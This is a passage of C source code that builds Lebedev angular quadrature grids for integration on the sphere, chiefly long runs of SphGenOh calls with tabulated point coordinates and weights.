v); a = 0.5529896780837761e+0; v = 0.2296505312376273e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6000856099481712e+0; v = 0.2296793832318756e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6210562192785175e+0; v = 0.2295785443842974e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6401165879934240e+0; v = 0.2295017931529102e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6571144029244334e+0; v = 0.2295059638184868e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6718910821718863e+0; v = 0.2296232343237362e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6842845591099010e+0; v = 0.2298530178740771e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6941353476269816e+0; v = 0.2301579790280501e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7012965242212991e+0; v = 0.2304690404996513e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7056471428242644e+0; v = 0.2307027995907102e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4595557643585895e-1; v = 0.9312274696671092e-4; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1049316742435023e+0; v = 0.1199919385876926e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1773548879549274e+0; v = 0.1598039138877690e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2559071411236127e+0; v = 0.1822253763574900e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3358156837985898e+0; v = 0.1988579593655040e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4155835743763893e+0; v = 0.2112620102533307e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4937894296167472e+0; v = 0.2201594887699007e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5691569694793316e+0; v = 0.2261622590895036e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6405840854894251e+0; v = 0.2296458453435705e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.7345133894143348e-1; b = 0.2177844081486067e-1; v = 0.1006006990267000e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1009859834044931e+0; b = 0.4590362185775188e-1; v = 0.1227676689635876e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1324289619748758e+0; b = 0.7255063095690877e-1; v = 0.1467864280270117e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1654272109607127e+0; b = 0.1017825451960684e+0; v = 0.1644178912101232e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1990767186776461e+0; b = 0.1325652320980364e+0; v = 0.1777664890718961e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2330125945523278e+0; b = 0.1642765374496765e+0; v = 0.1884825664516690e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2670080611108287e+0; b = 0.1965360374337889e+0; v = 0.1973269246453848e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3008753376294316e+0; b = 0.2290726770542238e+0; v = 0.2046767775855328e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3344475596167860e+0; b = 0.2616645495370823e+0; v = 0.2107600125918040e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3675709724070786e+0; b = 0.2941150728843141e+0; v = 0.2157416362266829e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4001000887587812e+0; b = 0.3262440400919066e+0; v = 0.2197557816920721e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4318956350436028e+0; b = 0.3578835350611916e+0; v = 0.2229192611835437e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4628239056795531e+0; b = 0.3888751854043678e+0; v = 0.2253385110212775e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4927563229773636e+0; b = 0.4190678003222840e+0; v = 0.2271137107548774e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5215687136707969e+0; b = 0.4483151836883852e+0; v = 0.2283414092917525e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5491402346984905e+0; b = 0.4764740676087880e+0; v = 0.2291161673130077e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5753520160126075e+0; b = 0.5034021310998277e+0; v = 0.2295313908576598e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1388326356417754e+0; b = 0.2435436510372806e-1; v = 0.1438204721359031e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1743686900537244e+0; b = 0.5118897057342652e-1; v = 0.1607738025495257e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2099737037950268e+0; b = 0.8014695048539634e-1; v = 0.1741483853528379e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2454492590908548e+0; b = 0.1105117874155699e+0; v = 0.1851918467519151e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2807219257864278e+0; b = 0.1417950531570966e+0; v = 0.1944628638070613e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3156842271975842e+0; b = 0.1736604945719597e+0; v = 0.2022495446275152e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3502090945177752e+0; b = 0.2058466324693981e+0; v = 0.2087462382438514e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3841684849519686e+0; b = 0.2381284261195919e+0; v = 0.2141074754818308e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4174372367906016e+0; b = 0.2703031270422569e+0; v = 0.2184640913748162e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4498926465011892e+0; b = 0.3021845683091309e+0; v = 0.2219309165220329e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4814146229807701e+0; b = 0.3335993355165720e+0; v = 0.2246123118340624e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5118863625734701e+0; b = 0.3643833735518232e+0; v = 0.2266062766915125e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5411947455119144e+0; b = 0.3943789541958179e+0; v = 0.2280072952230796e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5692301500357246e+0; b = 0.4234320144403542e+0; v = 0.2289082025202583e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5958857204139576e+0; b = 0.4513897947419260e+0; v = 0.2294012695120025e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2156270284785766e+0; b = 0.2681225755444491e-1; v = 0.1722434488736947e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2532385054909710e+0; b = 0.5557495747805614e-1; v = 0.1830237421455091e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2902564617771537e+0; b = 0.8569368062950249e-1; v = 0.1923855349997633e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3266979823143256e+0; b = 0.1167367450324135e+0; v = 0.2004067861936271e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3625039627493614e+0; b = 0.1483861994003304e+0; v = 0.2071817297354263e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3975838937548699e+0; b = 0.1803821503011405e+0; v = 0.2128250834102103e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4318396099009774e+0; b = 0.2124962965666424e+0; v = 0.2174513719440102e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4651706555732742e+0; b = 0.2445221837805913e+0; v = 0.2211661839150214e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4974752649620969e+0; b = 0.2762701224322987e+0; v = 0.2240665257813102e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5286517579627517e+0; b = 0.3075627775211328e+0; v = 0.2262439516632620e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5586001195731895e+0; b = 0.3382311089826877e+0; v = 0.2277874557231869e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5872229902021319e+0; b = 0.3681108834741399e+0; v = 0.2287854314454994e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6144258616235123e+0; b = 0.3970397446872839e+0; v = 0.2293268499615575e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2951676508064861e+0; b = 0.2867499538750441e-1; v = 0.1912628201529828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3335085485472725e+0; b = 0.5867879341903510e-1; v = 0.1992499672238701e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3709561760636381e+0; b = 0.8961099205022284e-1; v = 0.2061275533454027e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4074722861667498e+0; b = 0.1211627927626297e+0; v = 0.2119318215968572e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4429923648839117e+0; b = 0.1530748903554898e+0; v = 0.2167416581882652e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4774428052721736e+0; b = 0.1851176436721877e+0; v = 0.2206430730516600e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5107446539535904e+0; b = 0.2170829107658179e+0; v = 0.2237186938699523e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5428151370542935e+0; b = 0.2487786689026271e+0; v = 0.2260480075032884e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5735699292556964e+0; b = 0.2800239952795016e+0; v = 0.2277098884558542e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6029253794562866e+0; b = 0.3106445702878119e+0; v = 0.2287845715109671e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6307998987073145e+0; b = 0.3404689500841194e+0; v = 0.2293547268236294e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3752652273692719e+0; b = 0.2997145098184479e-1; v = 0.2056073839852528e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4135383879344028e+0; b = 0.6086725898678011e-1; v = 0.2114235865831876e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4506113885153907e+0; b = 0.9238849548435643e-1; v = 0.2163175629770551e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4864401554606072e+0; b = 0.1242786603851851e+0; v = 0.2203392158111650e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5209708076611709e+0; b = 0.1563086731483386e+0; v = 0.2235473176847839e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5541422135830122e+0; b = 0.1882696509388506e+0; v = 0.2260024141501235e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5858880915113817e+0; b = 0.2199672979126059e+0; v = 0.2277675929329182e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6161399390603444e+0; b = 0.2512165482924867e+0; v = 0.2289102112284834e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6448296482255090e+0; b = 0.2818368701871888e+0; v = 0.2295027954625118e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4544796274917948e+0; b = 0.3088970405060312e-1; v = 0.2161281589879992e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4919389072146628e+0; b = 0.6240947677636835e-1; v = 0.2201980477395102e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5279313026985183e+0; b = 0.9430706144280313e-1; v = 0.2234952066593166e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5624169925571135e+0; b = 0.1263547818770374e+0; v = 0.2260540098520838e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5953484627093287e+0; b = 0.1583430788822594e+0; v = 0.2279157981899988e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6266730715339185e+0; b = 0.1900748462555988e+0; v = 0.2291296918565571e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6563363204278871e+0; b = 0.2213599519592567e+0; v = 0.2297533752536649e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5314574716585696e+0; b = 0.3152508811515374e-1; v = 0.2234927356465995e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5674614932298185e+0; b = 0.6343865291465561e-1; v = 0.2261288012985219e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6017706004970264e+0; b = 0.9551503504223951e-1; v = 0.2280818160923688e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6343471270264178e+0; b = 0.1275440099801196e+0; v = 0.2293773295180159e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6651494599127802e+0; b = 0.1593252037671960e+0; v = 0.2300528767338634e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6050184986005704e+0; b = 0.3192538338496105e-1; v = 0.2281893855065666e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6390163550880400e+0; b = 0.6402824353962306e-1; v = 0.2295720444840727e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6711199107088448e+0; b = 0.9609805077002909e-1; v = 0.2303227649026753e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6741354429572275e+0; b = 0.3211853196273233e-1; v = 0.2304831913227114e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_5294(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.9080510764308163e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2084824361987793e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2303261686261450e-1; v = 0.5011105657239616e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3757208620162394e-1; v = 0.5942520409683854e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5821912033821852e-1; v = 0.9564394826109721e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8403127529194872e-1; v = 0.1185530657126338e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1122927798060578e+0; v = 0.1364510114230331e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1420125319192987e+0; v = 0.1505828825605415e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1726396437341978e+0; v = 0.1619298749867023e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2038170058115696e+0; v = 0.1712450504267789e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2352849892876508e+0; v = 0.1789891098164999e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2668363354312461e+0; v = 0.1854474955629795e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2982941279900452e+0; v = 0.1908148636673661e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3295002922087076e+0; v = 0.1952377405281833e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3603094918363593e+0; v = 0.1988349254282232e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3905857895173920e+0; v = 0.2017079807160050e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4202005758160837e+0; v = 0.2039473082709094e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4490310061597227e+0; v = 0.2056360279288953e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4769586160311491e+0; v = 0.2068525823066865e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5038679887049750e+0; v = 0.2076724877534488e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5296454286519961e+0; v = 0.2081694278237885e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5541776207164850e+0; v = 0.2084157631219326e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5990467321921213e+0; v = 0.2084381531128593e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6191467096294587e+0; v = 0.2083476277129307e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6375251212901849e+0; v = 0.2082686194459732e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6540514381131168e+0; v = 0.2082475686112415e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6685899064391510e+0; v = 0.2083139860289915e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6810013009681648e+0; v = 0.2084745561831237e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6911469578730340e+0; v = 0.2087091313375890e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6988956915141736e+0; v = 0.2089718413297697e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7041335794868720e+0; v = 0.2092003303479793e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7067754398018567e+0; v = 0.2093336148263241e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3840368707853623e-1; v = 0.7591708117365267e-4; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9835485954117399e-1; v = 0.1083383968169186e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1665774947612998e+0; v = 0.1403019395292510e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2405702335362910e+0; v = 0.1615970179286436e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3165270770189046e+0; v = 0.1771144187504911e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3927386145645443e+0; v = 0.1887760022988168e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4678825918374656e+0; v = 0.1973474670768214e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5408022024266935e+0; v = 0.2033787661234659e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6104967445752438e+0; v = 0.2072343626517331e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6760910702685738e+0; v = 0.2091177834226918e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6655644120217392e-1; b = 0.1936508874588424e-1; v = 0.9316684484675566e-4; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.9446246161270182e-1; b = 0.4252442002115869e-1; v = 0.1116193688682976e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1242651925452509e+0; b = 0.6806529315354374e-1; v = 0.1298623551559414e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1553438064846751e+0; b = 0.9560957491205369e-1; v = 0.1450236832456426e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1871137110542670e+0; b = 0.1245931657452888e+0; v = 0.1572719958149914e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2192612628836257e+0; b = 0.1545385828778978e+0; v = 0.1673234785867195e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2515682807206955e+0; b = 0.1851004249723368e+0; v = 0.1756860118725188e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2838535866287290e+0; b = 0.2160182608272384e+0; v = 0.1826776290439367e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3159578817528521e+0; b = 0.2470799012277111e+0; v = 0.1885116347992865e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3477370882791392e+0; b = 0.2781014208986402e+0; v = 0.1933457860170574e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3790576960890540e+0; b = 0.3089172523515731e+0; v = 0.1973060671902064e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4097938317810200e+0; b = 0.3393750055472244e+0; v = 0.2004987099616311e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4398256572859637e+0; b = 0.3693322470987730e+0; v = 0.2030170909281499e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4690384114718480e+0; b = 0.3986541005609877e+0; v = 0.2049461460119080e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4973216048301053e+0; b = 0.4272112491408562e+0; v = 0.2063653565200186e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5245681526132446e+0; b = 0.4548781735309936e+0; v = 0.2073507927381027e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5506733911803888e+0; b = 0.4815315355023251e+0; v = 0.2079764593256122e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5755339829522475e+0; b = 0.5070486445801855e+0; v = 0.2083150534968778e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1305472386056362e+0; b = 0.2284970375722366e-1; v = 0.1262715121590664e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1637327908216477e+0; b = 0.4812254338288384e-1; v = 0.1414386128545972e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1972734634149637e+0; b = 0.7531734457511935e-1; v = 0.1538740401313898e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2308694653110130e+0; b = 0.1039043639882017e+0; v = 0.1642434942331432e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2643899218338160e+0; b = 0.1334526587117626e+0; v = 0.1729790609237496e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2977171599622171e+0; b = 0.1636414868936382e+0; v = 0.1803505190260828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3307293903032310e+0; b = 0.1942195406166568e+0; v = 0.1865475350079657e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3633069198219073e+0; b = 0.2249752879943753e+0; v = 0.1917182669679069e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3953346955922727e+0; b = 0.2557218821820032e+0; v = 0.1959851709034382e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4267018394184914e+0; b = 0.2862897925213193e+0; v = 0.1994529548117882e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4573009622571704e+0; b = 0.3165224536636518e+0; v = 0.2022138911146548e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4870279559856109e+0; b = 0.3462730221636496e+0; v = 0.2043518024208592e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5157819581450322e+0; b = 0.3754016870282835e+0; v = 0.2059450313018110e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5434651666465393e+0; b = 0.4037733784993613e+0; v = 0.2070685715318472e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5699823887764627e+0; b = 0.4312557784139123e+0; v = 0.2077955310694373e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5952403350947741e+0; b = 0.4577175367122110e+0; v = 0.2081980387824712e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2025152599210369e+0; b = 0.2520253617719557e-1; v = 0.1521318610377956e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2381066653274425e+0; b = 0.5223254506119000e-1; v = 0.1622772720185755e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2732823383651612e+0; b = 0.8060669688588620e-1; v = 0.1710498139420709e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3080137692611118e+0; b = 0.1099335754081255e+0; v = 0.1785911149448736e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3422405614587601e+0; b = 0.1399120955959857e+0; v = 0.1850125313687736e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3758808773890420e+0; b = 0.1702977801651705e+0; v = 0.1904229703933298e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4088458383438932e+0; b = 0.2008799256601680e+0; v = 0.1949259956121987e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4410450550841152e+0; b = 0.2314703052180836e+0; v = 0.1986161545363960e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4723879420561312e+0; b = 0.2618972111375892e+0; v = 0.2015790585641370e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5027843561874343e+0; b = 0.2920013195600270e+0; v = 0.2038934198707418e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5321453674452458e+0; b = 0.3216322555190551e+0; v = 0.2056334060538251e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5603839113834030e+0; b = 0.3506456615934198e+0; v = 0.2068705959462289e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5874150706875146e+0; b = 0.3789007181306267e+0; v = 0.2076753906106002e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6131559381660038e+0; b = 0.4062580170572782e+0; v = 0.2081179391734803e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2778497016394506e+0; b = 0.2696271276876226e-1; v = 0.1700345216228943e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3143733562261912e+0; b = 0.5523469316960465e-1; v = 0.1774906779990410e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3501485810261827e+0; b = 0.8445193201626464e-1; v = 0.1839659377002642e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3851430322303653e+0; b = 0.1143263119336083e+0; v = 0.1894987462975169e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4193013979470415e+0; b = 0.1446177898344475e+0; v = 0.1941548809452595e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4525585960458567e+0; b = 0.1751165438438091e+0; v = 0.1980078427252384e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4848447779622947e+0; b = 0.2056338306745660e+0; v = 0.2011296284744488e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5160871208276894e+0; b = 0.2359965487229226e+0; v = 0.2035888456966776e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5462112185696926e+0; b = 0.2660430223139146e+0; v = 0.2054516325352142e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5751425068101757e+0; b = 0.2956193664498032e+0; v = 0.2067831033092635e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6028073872853596e+0; b = 0.3245763905312779e+0; v = 0.2076485320284876e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6291338275278409e+0; b = 0.3527670026206972e+0; v = 0.2081141439525255e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3541797528439391e+0; b = 0.2823853479435550e-1; v = 0.1834383015469222e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3908234972074657e+0; b = 0.5741296374713106e-1; v = 0.1889540591777677e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4264408450107590e+0; b = 0.8724646633650199e-1; v = 0.1936677023597375e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4609949666553286e+0; b = 0.1175034422915616e+0; v = 0.1976176495066504e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4944389496536006e+0; b = 0.1479755652628428e+0; v = 0.2008536004560983e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5267194884346086e+0; b = 0.1784740659484352e+0; v = 0.2034280351712291e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5577787810220990e+0; b = 0.2088245700431244e+0; v = 0.2053944466027758e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5875563763536670e+0; b = 0.2388628136570763e+0; v = 0.2068077642882360e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6159910016391269e+0; b = 0.2684308928769185e+0; v = 0.2077250949661599e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6430219602956268e+0; b = 0.2973740761960252e+0; v = 0.2082062440705320e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4300647036213646e+0; b = 0.2916399920493977e-1; v = 0.1934374486546626e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4661486308935531e+0; b = 0.5898803024755659e-1; v = 0.1974107010484300e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5009658555287261e+0; b = 0.8924162698525409e-1; v = 0.2007129290388658e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5344824270447704e+0; b = 0.1197185199637321e+0; v = 0.2033736947471293e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5666575997416371e+0; b = 0.1502300756161382e+0; v = 0.2054287125902493e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5974457471404752e+0; b = 0.1806004191913564e+0; v = 0.2069184936818894e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6267984444116886e+0; b = 0.2106621764786252e+0; v = 0.2078883689808782e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6546664713575417e+0; b = 0.2402526932671914e+0; v = 0.2083886366116359e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5042711004437253e+0; b = 0.2982529203607657e-1; v = 0.2006593275470817e-3; N += 